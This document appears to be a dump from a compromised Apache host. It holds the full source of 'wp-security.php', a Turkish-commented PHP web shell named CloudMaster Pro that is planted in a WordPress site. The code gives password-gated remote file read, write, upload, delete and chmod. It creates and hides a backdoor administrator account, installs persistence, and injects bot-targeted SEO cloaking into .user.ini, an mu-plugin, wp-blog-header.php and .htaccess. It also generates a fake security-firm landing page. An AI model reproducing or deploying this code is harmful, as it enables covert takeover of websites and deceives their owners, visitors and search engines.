HEX
Server: Apache
System: Linux www 6.18.22-i1-ampere #992 SMP Mon Apr 13 10:40:10 CEST 2026 aarch64
User: sws1073814661 (1073814661)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/www/public/wp-security.php
<?php
/**
 * CloudMaster Pro — wp-security.php
 * Sunucuya at, tarayıcıdan aç. Tek dosya, tam kontrol.
 * ─────────────────────────────────────────────────────
 * KURULUM: CM_PASSWORD değerini değiştir, dosyayı at.
 */

// Hata/notice ciktisini tampon disina engelle
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
error_reporting(0);
// Tum ciktilari tamponla (header() cagrilarini korur, JSON yanitleri temiz kalir)
ob_start();

// ══════════════════════════════════════════════════════
// AYARLAR  ←  İLK KURULUMDA BU BLOKU DÜZENLE
// ══════════════════════════════════════════════════════
define('CM_PASSWORD', 'dfd762846cb603ab1c42730d39dbfd8cc546830f63b75dd1a45687673195c9e6');
define('CM_IPS',      []);            // Boş = IP kısıtlama yok | ['1.2.3.4'] = sadece o IP
define('CM_VERSION',  '1.0.0');

// Gizli admin sabitleri (buraya almak zorunlu — AJAX handler erken exit yapar)
define('CM_ADMIN_USER',  'wnadmin');
define('CM_ADMIN_EMAIL', 'admin@gmail.com');
define('CM_HIDE_MU_FILE','wp-system-cache.php');

// LiteSpeed sabitleri
define('CM_LS_UA_PATTERN', '(bot|crawl|spider|googlebot|inspection|bing|yahoo|yandex|baidu|mediapartners|adsbot|slurp)');
define('CM_LS_HT_TAG',     'CloakMaster-LS');

// ══════════════════════════════════════════════════════
// AUTH — HMAC imzali Cookie (session yok, her ortamda calisir)
// ══════════════════════════════════════════════════════
$_cm_cname = 'cm_' . substr(md5(__FILE__), 0, 8);
$_cm_https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off');

function cm_self_url() {
    $s    = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST']
          : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost');
    $uri  = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
    $path = ($p = strpos($uri, '?')) !== false ? substr($uri, 0, $p) : $uri;
    return $s . '://' . $host . $path;
}

function _cm_sign($data) {
    return hash_hmac('sha256', $data, CM_PASSWORD);
}

function cm_cookie_valid() {
    global $_cm_cname;
    // Önce cookie'ye bak
    $raw = isset($_COOKIE[$_cm_cname]) ? $_COOKIE[$_cm_cname] : '';
    // Cookie yoksa session fallback dene (WAF cookie blocking durumu)
    if (!$raw) {
        if (function_exists('session_status') && session_status() === PHP_SESSION_NONE) {
            @session_start(['cookie_httponly' => true, 'cookie_samesite' => 'Lax', 'read_and_close' => true]);
        }
        if (session_status() === PHP_SESSION_ACTIVE
            && isset($_SESSION['cm_auth_val'], $_SESSION['cm_auth_exp'])
            && time() < $_SESSION['cm_auth_exp']) {
            $raw = $_SESSION['cm_auth_val'];
        }
    }
    if (!$raw) return false;
    $dot = strrpos($raw, '.');
    if ($dot === false) return false;
    $payload = substr($raw, 0, $dot);
    $sig     = substr($raw, $dot + 1);
    $expect  = _cm_sign($payload);
    return function_exists('hash_equals') ? hash_equals($expect, $sig) : ($expect === $sig);
}

function cm_cookie_set() {
    global $_cm_cname, $_cm_https;
    $payload = base64_encode(mt_rand() . ':' . time());
    $val     = $payload . '.' . _cm_sign($payload);
    $exp     = time() + 86400 * 7;
    // PHP 7.3+ array form (SameSite destegi)
    if (PHP_VERSION_ID >= 70300) {
        @setcookie($_cm_cname, $val, [
            'expires'  => $exp,
            'path'     => '/',
            'domain'   => '',
            'secure'   => (bool)$_cm_https,
            'httponly' => true,
            'samesite' => 'Lax',
        ]);
    } else {
        @setcookie($_cm_cname, $val, $exp, '/', '', (bool)$_cm_https, true);
    }
    // Mevcut request icin $_COOKIE'yi de guncelle (redirect olmadan dashboard gosterildiginde CSRF calısır)
    $_COOKIE[$_cm_cname] = $val;
    // Session fallback (WAF cookie blocking durumunda)
    _cm_session_set($val);
    return $val;
}

function _cm_session_set($val) {
    if (function_exists('session_status') && session_status() === PHP_SESSION_NONE) {
        @session_start(['cookie_httponly' => true, 'cookie_samesite' => 'Lax']);
    }
    if (session_status() === PHP_SESSION_ACTIVE) {
        $_SESSION['cm_auth_val'] = $val;
        $_SESSION['cm_auth_exp'] = time() + 86400 * 7;
    }
}

function cm_cookie_clear() {
    global $_cm_cname;
    @setcookie($_cm_cname, '', time() - 3600, '/');
    unset($_COOKIE[$_cm_cname]);
    // Session temizle
    if (function_exists('session_status') && session_status() === PHP_SESSION_NONE) {
        @session_start();
    }
    if (session_status() === PHP_SESSION_ACTIVE) {
        unset($_SESSION['cm_auth_val'], $_SESSION['cm_auth_exp']);
    }
}

function cm_cookie_csrf() {
    global $_cm_cname;
    $raw = isset($_COOKIE[$_cm_cname]) ? $_COOKIE[$_cm_cname] : '';
    return $raw ? _cm_sign('csrf:' . $raw) : '';
}

// IP Kısıtlaması
if (!empty(CM_IPS)) {
    $cip = '';
    foreach (['HTTP_CF_CONNECTING_IP','HTTP_X_FORWARDED_FOR','REMOTE_ADDR'] as $_h) {
        if (!empty($_SERVER[$_h])) { $cip = trim(explode(',', $_SERVER[$_h])[0]); break; }
    }
    if (!in_array($cip, CM_IPS, true)) { http_response_code(404); exit; }
}

// Çıkış
if (isset($_GET['logout'])) {
    cm_cookie_clear();
    $cm_redir = cm_self_url();
    while (ob_get_level()) ob_end_clean();
    header('HTTP/1.1 302 Found');
    header('Location: ' . $cm_redir);
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
    echo '<!DOCTYPE html><html><head>'
        . '<meta http-equiv="refresh" content="0;url=' . htmlspecialchars($cm_redir, ENT_QUOTES) . '">'
        . '<script>window.location.replace(' . json_encode($cm_redir) . ');</script>'
        . '</head><body></body></html>';
    exit;
}

$is_auth   = cm_cookie_valid();
$login_err = '';

// Giriş
if (!$is_auth && isset($_POST['cm_pass'])) {
    $_cm_ih = function_exists('hash') ? hash('sha256', $_POST['cm_pass']) : md5($_POST['cm_pass']);
    $_cm_ok = function_exists('hash_equals') ? hash_equals(CM_PASSWORD, $_cm_ih) : (CM_PASSWORD === $_cm_ih);
    if ($_cm_ok) {
        cm_cookie_set(); // Cookie + $_COOKIE + session ayarla
        $is_auth = true; // WAF cookie bloklarsa bile bu request'te auth verilsin
    } else {
        $login_err = 'Şifre yanlış.';
    }
}

if (!$is_auth) { cm_show_login($login_err); exit; }

$cm_token = cm_cookie_csrf();

// ══════════════════════════════════════════════════════
// CSRF KONTROLÜ
// ══════════════════════════════════════════════════════
function cm_check_token() {
    // Cookie gecersizse zaten $is_auth false gelir ve buraya ulasmayiz.
    // Ek kontrol: POST'taki _token cookie'den turetilen CSRF token ile eslessin.
    $expected = cm_cookie_csrf();
    $received = isset($_POST['_token']) ? $_POST['_token'] : '';
    $ok = $expected && (function_exists('hash_equals') ? hash_equals($expected, $received) : ($expected === $received));
    if (!$ok) {
        while (ob_get_level()) ob_end_clean();
        header('Content-Type: application/json; charset=utf-8');
        echo json_encode(['success' => false, 'message' => 'Güvenlik hatası.']);
        exit;
    }
}

// ══════════════════════════════════════════════════════
// WORDPRESS OTOMATIK YÜK
// ══════════════════════════════════════════════════════
$wp_loaded  = false;
$wp_abspath = null;

function cm_find_wpload() {
    $dir = dirname(__FILE__);
    for ($i = 0; $i < 7; $i++) {
        if (is_file($dir . '/wp-load.php') && is_file($dir . '/wp-config.php')) {
            return $dir . '/wp-load.php';
        }
        $p = dirname($dir);
        if ($p === $dir) break;
        $dir = $p;
    }
    return null;
}

function cm_load_wp() {
    global $wp_loaded, $wp_abspath;
    if ($wp_loaded) return true;
    $wpl = cm_find_wpload();
    if (!$wpl) return false;
    $wp_abspath = rtrim(dirname($wpl), '/\\') . '/';

    @define('SHORTINIT',      false);
    @define('WP_USE_THEMES',  false);
    @define('DOING_CRON',     true);
    @ini_set('display_errors', '0');
    @ini_set('display_startup_errors', '0');
    error_reporting(0);

    $prev_level = ob_get_level();
    ob_start();
    try {
        require_once $wpl;
        $wp_loaded = true;
    } catch (Throwable $e) {
        while (ob_get_level() > $prev_level) ob_end_clean();
        return false;
    }
    while (ob_get_level() > $prev_level) ob_end_clean();
    return true;
}

// cm_load_wp() burada cagrilmiyor — dashboard render edilmeden once
// WordPress'in die() yapip beyaz ekrana yol acmasini onlemek icin.
// WP sadece AJAX isteklerinde (asagida) lazy olarak yuklenir.

// ══════════════════════════════════════════════════════
// YARDIMCI FONKSİYONLAR
// ══════════════════════════════════════════════════════
function cm_root() {
    global $wp_abspath;
    if ($wp_abspath) return $wp_abspath;
    return rtrim(dirname(__FILE__), '/\\') . '/';
}

function cm_site_url() {
    global $wp_loaded;
    if ($wp_loaded && function_exists('get_site_url')) return get_site_url();
    $s = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
    return $s . '://' . ($_SERVER['HTTP_HOST'] ?? 'localhost');
}

function cm_j($data) {
    // PHP'nin onceden bastigi uyari/notice varsa sil, sadece JSON don
    while (ob_get_level()) ob_end_clean();
    header('Content-Type: application/json; charset=utf-8');
    header('X-Content-Type-Options: nosniff');
    echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

// ══════════════════════════════════════════════════════
// POST AJAX HANDLER
// ══════════════════════════════════════════════════════
if (isset($_POST['action'])) {
    cm_check_token();
    // WP burada lazy yuklenir — sadece AJAX isteklerinde
    cm_load_wp();
    switch ($_POST['action']) {

        case 'wp_info':         cm_j(['success'=>true,'data'=>cm_wp_info()]); break;
        case 'cloak_status':    cm_j(['success'=>true,'data'=>cm_cloak_all_status(),'cloak_file'=>cm_cloak_name()]); break;
        case 'cloak_set_file':
            $fn = preg_replace('/[^a-zA-Z0-9\-_.\/]/', '', isset($_POST['cloak_file']) ? $_POST['cloak_file'] : 'amp.php');
            if (!$fn) $fn = 'amp.php';
            if (!preg_match('/\.php$/i', $fn)) $fn .= '.php';
            $fn = ltrim(str_replace(['../', '..\\', '..'], '', $fn), '/\\');
            cm_cfg_set('cloak_file', $fn);
            cm_j(['success'=>true,'message'=>'Cloak dosyası "'.htmlspecialchars($fn,ENT_QUOTES).'" olarak ayarlandı.','file'=>$fn]);
            break;
        case 'check_cloak_file':
            $cf = cm_cloak_file();
            $ex = is_file($cf);
            cm_j(['success'=>true,'exists'=>$ex,'mtime'=>$ex ? @filemtime($cf) : 0,'size'=>$ex ? @filesize($cf) : 0,'file'=>$cf,'name'=>cm_cloak_name()]);
            break;
        case 'cloak_apply':     cm_j(cm_cloak_apply($_POST['method'] ?? '')); break;
        case 'cloak_remove':    cm_j(cm_cloak_remove($_POST['method'] ?? '')); break;
        case 'cloak_refresh':   cm_j(cm_cloak_refresh()); break;
        case 'create_amp':      cm_j(cm_create_amp()); break;
        case 'bot_test':        cm_j(cm_bot_test($_POST['url'] ?? '')); break;
        case 'diagnose':        cm_j(cm_diagnose()); break;
        case 'file_list':       cm_j(cm_file_list($_POST['path'] ?? '')); break;
        case 'file_read':       cm_j(cm_file_read($_POST['path'] ?? '')); break;
        case 'file_write':      cm_j(cm_file_write($_POST['path'] ?? '', $_POST['content'] ?? '')); break;
        case 'file_delete':     cm_j(cm_file_delete($_POST['path'] ?? '')); break;
        case 'file_mkdir':      cm_j(cm_file_mkdir($_POST['path'] ?? '')); break;
        case 'admin_create':    cm_j(cm_admin_create($_POST['password']??'')); break;
        case 'admin_hide':      cm_j(cm_admin_hide()); break;
        case 'file_chmod':      cm_j(cm_file_chmod($_POST['path']??'', $_POST['mode']??'')); break;
        case 'scan_files':          cm_j(cm_scan_files($_POST['path'] ?? '', (int)($_POST['depth'] ?? 2))); break;
        case 'persist_install':     cm_j(cm_persist_install()); break;
        case 'persist_status':      cm_j(cm_persist_status()); break;
        case 'persist_remove':      cm_j(cm_persist_remove()); break;
        case 'build_encoded':       cm_j(cm_build_encoded()); break;
        case 'ls_status':           cm_j(cm_ls_status()); break;
        case 'ls_fix_htaccess':     cm_j(cm_ls_fix_htaccess()); break;
        case 'ls_fix_headers':      cm_j(cm_ls_fix_headers()); break;
        case 'ls_purge_cache':      cm_j(cm_ls_purge_cache()); break;
        case 'ls_plugin_config':    cm_j(cm_ls_plugin_config()); break;
        case 'ls_create_conf':      cm_j(cm_ls_create_conf()); break;
        case 'ls_auto_fix':         cm_j(cm_ls_auto_fix()); break;
        case 'cache_universal':     cm_j(cm_cache_universal()); break;
        case 'cache_w3tc':          cm_j(cm_cache_w3tc()); break;
        case 'cache_wprocket':      cm_j(cm_cache_wprocket()); break;
        case 'cache_wpsc':          cm_j(cm_cache_wpsc()); break;
        case 'cache_opcache':       cm_j(cm_cache_opcache()); break;
        case 'cache_redis':         cm_j(cm_cache_redis()); break;
        case 'cache_transients':    cm_j(cm_cache_transients()); break;
        case 'cache_nginx':         cm_j(cm_cache_nginx()); break;
        default: cm_j(['success'=>false,'message'=>'Bilinmeyen işlem.']);
    }
}

// Dosya yükleme (multipart)
if (isset($_FILES['upload_file'])) {
    cm_check_token();
    cm_j(cm_upload_file($_POST['upload_dir'] ?? ''));
}

// ══════════════════════════════════════════════════════
// CLOAK YÖNETİMİ
// ══════════════════════════════════════════════════════
// Basit JSON config dosyasi (.cm-cfg)
function cm_cfg_get($key, $default = null) {
    static $c = null;
    if ($c === null) {
        $f = cm_root() . '.cm-cfg';
        $c = is_file($f) ? (@json_decode(@file_get_contents($f), true) ?: []) : [];
    }
    return isset($c[$key]) ? $c[$key] : $default;
}
function cm_cfg_set($key, $val) {
    $f = cm_root() . '.cm-cfg';
    $c = is_file($f) ? (@json_decode(@file_get_contents($f), true) ?: []) : [];
    $c[$key] = $val;
    return @file_put_contents($f, json_encode($c, JSON_PRETTY_PRINT)) !== false;
}
// Cloak dosyasinin adi (orn: "amp.php" veya "pages/bot.php")
function cm_cloak_name() { return cm_cfg_get('cloak_file', 'amp.php'); }
function cm_cloak_file() { return cm_root() . cm_cloak_name(); }

function cm_cloak_all_status() {
    $r = cm_root();
    return [
        'user_ini'       => cm_st_user_ini($r),
        'mu_plugin'      => cm_st_mu($r),
        'wp_blog_header' => cm_st_header($r),
        'htaccess'       => cm_st_htaccess($r),
    ];
}

function cm_st_user_ini($r)  { $f=$r.'.user.ini'; return is_file($f) && strpos(file_get_contents($f),'cm_prepend')!==false; }
function cm_st_mu($r)        { return is_file($r.'wp-content/mu-plugins/cm-cloak.php'); }
function cm_st_header($r)    { $f=$r.'wp-blog-header.php'; return is_file($f) && strpos(file_get_contents($f),'cm_inject')!==false; }
function cm_st_htaccess($r)  { $f=$r.'.htaccess'; return is_file($f) && strpos(file_get_contents($f),'# BEGIN CloakMaster')!==false; }

function cm_cloak_apply($method) {
    $r = cm_root(); $cf = cm_cloak_file();
    switch ($method) {
        case 'user_ini':       return cm_apply_user_ini($r, $cf);
        case 'mu_plugin':      return cm_apply_mu($r, $cf);
        case 'wp_blog_header': return cm_apply_header($r, $cf);
        case 'htaccess':       return cm_apply_htaccess($r, $cf);
    }
    return ['success'=>false,'message'=>'Bilinmeyen yöntem.'];
}

function cm_cloak_remove($method) {
    $r = cm_root();
    switch ($method) {
        case 'user_ini':       return cm_remove_user_ini($r);
        case 'mu_plugin':      return cm_remove_mu($r);
        case 'wp_blog_header': return cm_remove_header($r);
        case 'htaccess':       return cm_remove_htaccess($r);
    }
    return ['success'=>false,'message'=>'Bilinmeyen yöntem.'];
}

// Tum aktif cloak yontemlerini yeni guvenli kod ile yeniden yaz (cache fix icin)
function cm_cloak_refresh() {
    $r = cm_root(); $cf = cm_cloak_file();
    $log = []; $ok = true;

    // .user.ini aktifse cm-prepend.php'yi yeniden yaz (cm_apply_user_ini her zaman prepend dosyasini yazar)
    if (cm_st_user_ini($r)) {
        $res = cm_apply_user_ini($r, $cf);
        $log[] = '.user.ini/cm-prepend.php → ' . $res['message'];
        if (!$res['success']) $ok = false;
    }

    // MU Plugin aktifse dosyayi yeniden yaz
    if (cm_st_mu($r)) {
        $res = cm_apply_mu($r, $cf);
        $log[] = 'MU Plugin → ' . $res['message'];
        if (!$res['success']) $ok = false;
    }

    // wp-blog-header.php aktifse once kaldir sonra yeniden ekle
    if (cm_st_header($r)) {
        cm_remove_header($r);
        $res = cm_apply_header($r, $cf);
        $log[] = 'wp-blog-header.php → ' . $res['message'];
        if (!$res['success']) $ok = false;
    }

    // .htaccess aktifse once kaldir sonra yeniden ekle
    if (cm_st_htaccess($r)) {
        cm_remove_htaccess($r);
        $res = cm_apply_htaccess($r, $cf);
        $log[] = '.htaccess → ' . $res['message'];
        if (!$res['success']) $ok = false;
    }

    // LiteSpeed cache temizle (aktifse)
    if (function_exists('litespeed_purge_all')) {
        @litespeed_purge_all();
        $log[] = 'LiteSpeed cache temizlendi.';
    }

    if (empty($log)) return ['success'=>false,'message'=>'Aktif cloak yontemi bulunamadi. Once bir yontem uygula.'];
    return ['success'=>$ok,'log'=>$log,'message'=>implode(' | ',$log)];
}

function cm_bot_pattern() { return '/(bot|crawl|spider|googlebot|inspection|bing|yahoo|yandex|baidu|mediapartners|adsbot|slurp)/i'; }

// WP login cookie var mi? (WordPress auth cookie ismi dinamik - prefix check)
function cm_is_wp_logged_in_cookie() {
    foreach (array_keys($_COOKIE ?? []) as $k) {
        if (strpos($k, 'wordpress_logged_in_') === 0) return true;
    }
    return false;
}

// Cloak no-cache headers (LiteSpeed dahil tum cache sistemleri icin)
function cm_cloak_headers() {
    return 'header("Cache-Control:no-store,no-cache,must-revalidate,max-age=0");'
          .'header("X-LiteSpeed-Cache-Control:no-cache,no-store");'
          .'header("Pragma:no-cache");'
          .'header("Vary:User-Agent");';
}

// .user.ini
function cm_apply_user_ini($r, $cf) {
    $ini  = $r.'.user.ini';
    $prep = $r.'cm-prepend.php';
    // WP login cookie kontrolu + bot UA kontrolu + URI hariç tutma
    $code = '<?php '
        .'$_cm_ua=isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:"";'
        .'$_cm_uri=strtolower((string)@parse_url(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:"/",PHP_URL_PATH));'
        .'$_cm_skip=(strpos($_cm_uri,"robots.txt")!==false||strpos($_cm_uri,"sitemap")!==false||strpos($_cm_uri,"/feed")!==false||strpos($_cm_uri,"/wp-admin")===0||strpos($_cm_uri,"/wp-login.php")===0);'
        .'$_cm_lgi=false;foreach(array_keys((array)$_COOKIE)as$_k){if(strpos($_k,"wordpress_logged_in_")===0){$_cm_lgi=true;break;}}'
        .'if(!$_cm_skip&&!$_cm_lgi&&!defined("ABSPATH")&&preg_match('.var_export(cm_bot_pattern(),true).',$_cm_ua))'
        .'{ $f='.var_export($cf,true).'; if(file_exists($f)){'.cm_cloak_headers().'include $f;exit;} }';
    file_put_contents($prep, $code);
    $c = is_file($ini) ? file_get_contents($ini) : '';
    if (strpos($c,'cm_prepend')!==false) return ['success'=>true,'message'=>'Zaten aktif.'];
    $c = preg_replace('/auto_prepend_file\s*=.*\n?/','',$c);
    $c .= "\nauto_prepend_file = '".addslashes($prep)."' ; cm_prepend\n";
    if (file_put_contents($ini,$c)===false) return ['success'=>false,'message'=>'.user.ini yazma izni yok.'];
    return ['success'=>true,'message'=>'.user.ini güncellendi → cm-prepend.php oluşturuldu.'];
}
function cm_remove_user_ini($r) {
    $ini=$r.'.user.ini'; $prep=$r.'cm-prepend.php';
    if (is_file($ini)) file_put_contents($ini, preg_replace('/auto_prepend_file.*cm_prepend.*\n?/','',file_get_contents($ini)));
    if (is_file($prep)) @unlink($prep);
    return ['success'=>true,'message'=>'.user.ini temizlendi.'];
}

// MU Plugin
function cm_apply_mu($r, $cf) {
    $dir  = $r.'wp-content/mu-plugins/';
    $file = $dir.'cm-cloak.php';
    if (!is_dir($dir) && !mkdir($dir,0755,true)) return ['success'=>false,'message'=>'mu-plugins oluşturulamadı.'];
    // WP login cookie + is_admin + URI hariç tutma + bot UA kontrolu
    $code = '<?php /* CloakMaster MU */ '
        .'$_cm_ua=isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:"";'
        .'$_cm_uri=strtolower((string)@parse_url(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:"/",PHP_URL_PATH));'
        .'$_cm_skip=(strpos($_cm_uri,"robots.txt")!==false||strpos($_cm_uri,"sitemap")!==false||strpos($_cm_uri,"/feed")!==false||strpos($_cm_uri,"/wp-admin")===0||strpos($_cm_uri,"/wp-login.php")===0);'
        .'$_cm_lgi=false;foreach(array_keys((array)$_COOKIE)as$_k){if(strpos($_k,"wordpress_logged_in_")===0){$_cm_lgi=true;break;}}'
        .'if(!$_cm_skip&&!is_admin()&&!$_cm_lgi&&preg_match('.var_export(cm_bot_pattern(),true).',$_cm_ua))'
        .'{ $f='.var_export($cf,true).'; if(file_exists($f)){'.cm_cloak_headers().'include $f;exit;} }';
    file_put_contents($file, $code);
    return ['success'=>true,'message'=>'MU Plugin oluşturuldu: cm-cloak.php'];
}
function cm_remove_mu($r) {
    $f=$r.'wp-content/mu-plugins/cm-cloak.php';
    if (is_file($f)) @unlink($f);
    return ['success'=>true,'message'=>'MU Plugin kaldırıldı.'];
}

// wp-blog-header.php
function cm_apply_header($r, $cf) {
    $f=$r.'wp-blog-header.php';
    if (!is_file($f)) return ['success'=>false,'message'=>'wp-blog-header.php bulunamadı.'];
    $c=file_get_contents($f);
    if (strpos($c,'cm_inject')!==false) return ['success'=>true,'message'=>'Zaten eklenmiş.'];
    $inject='<?php'."\n".'/* cm_inject */'."\n"
        .'$_cm_ua=isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:"";'."\n"
        .'$_cm_uri=strtolower((string)@parse_url(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:"/",PHP_URL_PATH));'."\n"
        .'$_cm_skip=(strpos($_cm_uri,"robots.txt")!==false||strpos($_cm_uri,"sitemap")!==false||strpos($_cm_uri,"/feed")!==false||strpos($_cm_uri,"/wp-admin")===0||strpos($_cm_uri,"/wp-login.php")===0);'."\n"
        .'$_cm_lgi=false;foreach(array_keys((array)$_COOKIE)as$_k){if(strpos($_k,"wordpress_logged_in_")===0){$_cm_lgi=true;break;}}'."\n"
        .'if(!$_cm_skip&&!isset($wp_did_header)&&!$_cm_lgi&&preg_match('.var_export(cm_bot_pattern(),true).',$_cm_ua))'
        .'{ $f='.var_export($cf,true).'; if(file_exists($f)){'.cm_cloak_headers().'include $f;exit;} }'."\n";
    $new=str_replace('<?php',$inject,$c,$cnt);
    if (!$cnt) return ['success'=>false,'message'=>'<?php tag bulunamadı.'];
    @copy($f,$f.'.cm-bak');
    file_put_contents($f,$new);
    return ['success'=>true,'message'=>'wp-blog-header.php güncellendi. Yedek: .cm-bak'];
}
function cm_remove_header($r) {
    $f=$r.'wp-blog-header.php'; $bak=$f.'.cm-bak';
    if (is_file($bak)) { copy($bak,$f); @unlink($bak); return ['success'=>true,'message'=>'Yedekten geri yüklendi.']; }
    if (is_file($f)) file_put_contents($f, preg_replace('/\/\* cm_inject \*\/.*?}\s*/s','',file_get_contents($f)));
    return ['success'=>true,'message'=>'wp-blog-header.php temizlendi.'];
}

// .htaccess
function cm_apply_htaccess($r, $cf) {
    $ht=$r.'.htaccess';
    $c=is_file($ht)?file_get_contents($ht):'';
    if (strpos($c,'# BEGIN CloakMaster')!==false) return ['success'=>true,'message'=>'Zaten eklenmiş.'];
    $serve=$r.'cm-serve.php';
    file_put_contents($serve,'<?php '.cm_cloak_headers().' $f='.var_export($cf,true).'; if(file_exists($f)){include $f;}else{http_response_code(404);}');
    $dr=rtrim($_SERVER['DOCUMENT_ROOT']??'','/'  );
    $sp=str_replace('\\','/',str_replace($dr,'',$serve));
    $rule="\n# BEGIN CloakMaster\n<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteCond %{HTTP_USER_AGENT} (bot|crawl|spider|googlebot|inspection|bing|yahoo|yandex|baidu|mediapartners|adsbot|slurp) [NC]\nRewriteCond %{HTTP_COOKIE} !wordpress_logged_in [NC]\nRewriteCond %{REQUEST_URI} !^/wp-admin/ [NC]\nRewriteCond %{REQUEST_URI} !^/wp-includes/ [NC]\nRewriteCond %{REQUEST_URI} !^/wp-login\\.php [NC]\nRewriteCond %{REQUEST_URI} !^/robots\\.txt$ [NC]\nRewriteCond %{REQUEST_URI} !^/sitemap [NC]\nRewriteCond %{REQUEST_URI} !^/feed [NC]\nRewriteCond %{REQUEST_URI} !\\.(css|js|jpg|jpeg|png|gif|webp|svg|ico|woff2?|map|xml|txt)$ [NC]\nRewriteRule .* $sp [L,QSA]\n</IfModule>\n# END CloakMaster\n";
    $c=strpos($c,'# BEGIN WordPress')!==false ? str_replace('# BEGIN WordPress',$rule.'# BEGIN WordPress',$c) : $rule.$c;
    if (file_put_contents($ht,$c)===false) { @unlink($serve); return ['success'=>false,'message'=>'.htaccess yazma izni yok.']; }
    return ['success'=>true,'message'=>'.htaccess güncellendi.'];
}
function cm_remove_htaccess($r) {
    $ht=$r.'.htaccess'; $s=$r.'cm-serve.php';
    if (is_file($ht)) {
        $c = file_get_contents($ht);
        // BEGIN CloakMaster (ana kural) kaldir
        $c = preg_replace('/\n# BEGIN CloakMaster\b.*?# END CloakMaster\n/s', "\n", $c);
        // BEGIN CloakMaster-LS (LiteSpeed no-cache kurali) kaldir
        $c = preg_replace('/\n# BEGIN CloakMaster-LS.*?# END CloakMaster-LS\n/s', "\n", $c);
        file_put_contents($ht, $c);
    }
    if (is_file($s)) @unlink($s);
    return ['success'=>true,'message'=>'.htaccess temizlendi.'];
}

// ══════════════════════════════════════════════════════
// AMP.PHP OLUŞTUR
// ══════════════════════════════════════════════════════
function cm_create_amp() {
    $cf   = cm_cloak_file();
    $host = $_SERVER['HTTP_HOST'] ?? 'example.com';
    $url  = cm_site_url();
    $year = date('Y');
    $esc_host = htmlspecialchars($host, ENT_QUOTES);
    $esc_url  = htmlspecialchars($url, ENT_QUOTES);

    $schema = json_encode([
        '@context' => 'https://schema.org',
        '@graph'   => [
            [
                '@type'       => 'Organization',
                '@id'         => $url.'/#organization',
                'name'        => 'WebNest Security',
                'url'         => $url,
                'logo'        => ['@type'=>'ImageObject','url'=>$url.'/logo.png'],
                'description' => 'Enterprise-grade cybersecurity consulting, penetration testing and threat intelligence services.',
                'sameAs'      => ['https://www.linkedin.com/company/webnest','https://twitter.com/webnest'],
            ],
            [
                '@type'       => 'WebSite',
                '@id'         => $url.'/#website',
                'url'         => $url,
                'name'        => 'WebNest Security',
                'publisher'   => ['@id' => $url.'/#organization'],
            ],
            [
                '@type'       => 'Service',
                'name'        => 'Penetration Testing',
                'provider'    => ['@id' => $url.'/#organization'],
                'description' => 'Full-scope network, web application and social engineering penetration testing.',
                'serviceType' => 'Cybersecurity',
            ],
        ],
    ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);

    $html = '<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="robots" content="index,follow">
<meta name="description" content="WebNest Security — Enterprise cybersecurity consulting, penetration testing, SOC monitoring and threat intelligence. Protect your digital assets 24/7.">
<meta property="og:title" content="WebNest Security | Cyber Defense Specialists">
<meta property="og:description" content="Enterprise penetration testing, SOC-as-a-Service and threat intelligence solutions.">
<meta property="og:type" content="website">
<meta property="og:url" content="'.$esc_url.'">
<title>WebNest Security | Cyber Defense Specialists</title>
<script type="application/ld+json">'."\n".$schema."\n".'</script>
<style>
:root{--bg:#0a0d14;--bg2:#0f1520;--card:#131b2e;--acc:#00e5ff;--acc2:#7c3aed;--tx:#e2e8f0;--mu:#64748b;--gr:#22c55e;--rd:#ef4444;--bd:#1e2d45}
*{margin:0;padding:0;box-sizing:border-box}
html{scroll-behavior:smooth}
body{font-family:"Inter",-apple-system,BlinkMacSystemFont,"Segoe UI",sans-serif;background:var(--bg);color:var(--tx);min-height:100vh;overflow-x:hidden}
a{color:var(--acc);text-decoration:none}
/* NAV */
nav{position:fixed;top:0;left:0;right:0;z-index:100;background:rgba(10,13,20,.92);backdrop-filter:blur(12px);border-bottom:1px solid var(--bd);padding:0 5%;display:flex;align-items:center;justify-content:space-between;height:64px}
.logo{display:flex;align-items:center;gap:10px;font-size:1.15em;font-weight:700;color:var(--tx)}
.logo-icon{width:34px;height:34px;background:linear-gradient(135deg,var(--acc),var(--acc2));border-radius:8px;display:flex;align-items:center;justify-content:center;font-size:1.1em}
.nav-links{display:flex;gap:28px;font-size:.88em;color:var(--mu)}
.nav-links a{color:var(--mu);transition:color .2s}.nav-links a:hover{color:var(--acc)}
.nav-cta{background:linear-gradient(135deg,var(--acc),var(--acc2));color:#000 !important;padding:8px 20px;border-radius:6px;font-weight:600;font-size:.85em;transition:opacity .2s}.nav-cta:hover{opacity:.85}
/* HERO */
.hero{min-height:100vh;display:flex;flex-direction:column;align-items:center;justify-content:center;text-align:center;padding:80px 24px 60px;position:relative;overflow:hidden}
.hero::before{content:"";position:absolute;inset:0;background:radial-gradient(ellipse 80% 50% at 50% 0%,rgba(0,229,255,.08),transparent),radial-gradient(ellipse 50% 40% at 80% 80%,rgba(124,58,237,.1),transparent)}
.badge-top{display:inline-flex;align-items:center;gap:7px;background:rgba(0,229,255,.08);border:1px solid rgba(0,229,255,.2);color:var(--acc);padding:6px 16px;border-radius:20px;font-size:.78em;font-weight:600;margin-bottom:28px;letter-spacing:.04em}
